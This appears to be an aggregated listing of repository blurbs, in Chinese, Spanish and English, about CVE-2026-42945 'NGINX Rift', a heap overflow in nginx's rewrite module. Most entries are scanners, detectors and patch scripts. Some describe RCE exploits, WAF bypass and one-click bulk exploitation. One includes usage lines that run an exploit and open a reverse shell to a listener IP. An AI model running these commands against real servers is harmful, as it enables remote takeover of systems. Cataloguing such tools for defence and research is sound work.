nGixshell

nGixShell 是一个 nginx CVE 扫描器和 RCE 漏洞利用框架。它附带一个针对 CVE-2026-42945 的可工作概念验证（proof-of-concept）——ngxhttprewritemodule 中的一个严重堆缓冲区溢出——以及一个覆盖 53 个 nginx CVE 的扫描器，具备自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成功能。 零外部依赖。纯 Python 3 标准库。 快速开始 root@kitploit: Spin up the vulnerable lab docker compose -f...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 配置扫描器 语言：中文 | English 这是一个用于检查 NGINX 配置是否存在 CVE-2026-42945（NGINX Rift）和 CVE-2026-9256 风险模式的轻量级脚本。 该漏洞由 depthfirst 在文章 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 中披露。根据文章和 F5/NVD 描述，风险与 ngxhttprewritemodule 的特定配置组合有关：在同一配置上下文中，rewrite 的替换字符串包含 ?，后续 rewrite、if 或 set...

CVE-2026-42945-NGINX-Rift-Check-Script

This repository does not have a README...

nginx-rift-detect

nginx-rift-detect Behavioral detection script for CVE-2026-42945 NGINX Rift — a heap buffer overflow in ngxhttprewritemodule present in nginx since 2008. ⚠️ Disclaimer This tool is intended solely for authorized security testing and research. Only run this against systems you own or have explicit...

nginx-rift-scanner

nginx-rift-scanner Escáner Python 3 sin dependencias para CVE-2026-42945 "NGINX Rift" — un desbordamiento de búfer en montículo CWE-122 CRÍTICO 9.2 en CVSS v4.0 en ngxhttprewritemodule. Lo que detecta Se ejecutan dos comprobaciones independientes en cada invocación:...

cve-2026-42945-scan

cve-2026-42945-scan Escáner estático para archivos de configuración de NGINX que detecta el patrón rewrite/set asociado con CVE-2026-42945. El escáner analiza configuraciones de NGINX con crossplane, recorre los bloques location e imprime cada ubicación que parezca afectada en este formato:...

nginx-rift-check

nginx-rift-check Encuentra configuraciones vulnerables a CVE-2026-42945 , el desbordamiento de búfer en el heap del ngxhttprewritemodule de nginx. Ejecutar una versión afectada de nginx de 0.6.27 a 1.30.0 no es suficiente para ser explotable. La configuración debe contener un par específico de...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

ai-vuln-rediscovery-nginx-cve-2026-42945

AI-Assisted Rediscovery of CVE-2026-42945 in nginx This repository documents a reproducible AI-assisted vulnerability rediscovery experiment against nginx ngxhttprewritemodule, later associated with CVE-2026-42945. The experiment is intentionally narrow. The vulnerable file,...

nginx-rift-detector

NGINX Rift 检测器用于 CVE-2026-42945 用于受感染 NGINX 服务器的只读 Bash 检测器。它帮助运维人员在 CVE-2026-42945 披露后回答两个问题： 此服务器是否仍运行存在漏洞的 NGINX 版本或危险的重写配置？ 本地日志是否包含崩溃、长 URI 或编码信号，需要在关闭工单前进行审查？ 快速开始 需求| 链接 ---|--- 浏览工具页面| https://limo57640-crypto.github.io/nginx-rift-detector/ 阅读 Ping7 自检指南|...

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 One-Click Fix Script Automatically detect OS distribution, upgrade NGINX to the fixed version ≥1.30.1, backup configuration, and auto-rollback. Vulnerability Description Vulnerability ID: CVE-2026-42945 Vulnerability Name: NGINX Rift When NGINX processes specific rewrite...

CVE-2026-42945-nginx-rift

This repository does not have a README...

CVE-2026-42945

此存储库没有 README。...

CVE-2026-42945

CVE-2026-42945 PoC Go 中文 | English A detection and exploitation helper for nginx HTTP/2 CVE-2026-42945. Use it only in authorized environments to verify vulnerability presence, compare patched vs. vulnerable behavior, and reproduce PoC logic in a controlled lab. Affected versions heuristic: nginx...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — defensive scanner Organizations running NGINX Open Source , NGINX Plus , or NGINX-based ingress/controllers should verify whether they are affected by CVE-2026-42945 and patch or reconfigure before exploitation attempts hit production edges. This repository provides a...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - 严重 NGINX RCE CVSS 9.2 分类 类别: 零日 / 远程代码执行 CVE: CVE-2026-42945 CVSS: 9.2 严重 发现日期: 2026年5月12日 补丁日期: 2026年5月 F5季度安全更新 来源: GitHub DepthFirstDisclosures/Nginx-Rift 漏洞详情 NGINX 的 ngxhttprewritemodule 组件中存在一个 堆缓冲区溢出 ，该漏洞于 2008 年 引入——意味着它在被发现前已存在 16 年 。 受影响版本 : NGINX Open Source 0.6.27 ...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift RCE PoC with Reverse Shell Remote code execution proof-of-concept for CVE-2026-42945 , a heap buffer overflow in NGINX's ngxhttprewritemodule. This fork extends the public trigger PoC with an embedded reverse-shell listener and configurable exploitation parameters for CT...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui a need run jdk21version java -jar cve-2026-42945-scanner.... Bulk scanning + one-click vulnerability exploitation Requires JDK 21 to run After extraction, java -jar cve-2026-42945-scanner.... Bulk scanning + one-click vulnerability exploitation...

NGINX-Rift

NGINX Rift — Herramienta de escaneo y verificación de vulnerabilidades CVE-2026-42945 / CVE-2026-9256 NGINX Rift es una herramienta de código abierto de escaneo y verificación para CVE-2026-42945 y CVE-2026-9256 vulnerabilidades de desbordamiento de montón en el módulo ngxhttprewritemodule de...

Scanner_CVE_2026-42945

Scanner for detecting Nginx instances vulnerable to CVE-2026-42945 NGINX RIFT. Accepts individual IPs, CIDR ranges, and ASNs as input. About CVE-2026-42945 affects all Nginx versions prior to 1.30.1. The tool probes HTTP and HTTPS on default ports, reads the Server header from the response, and...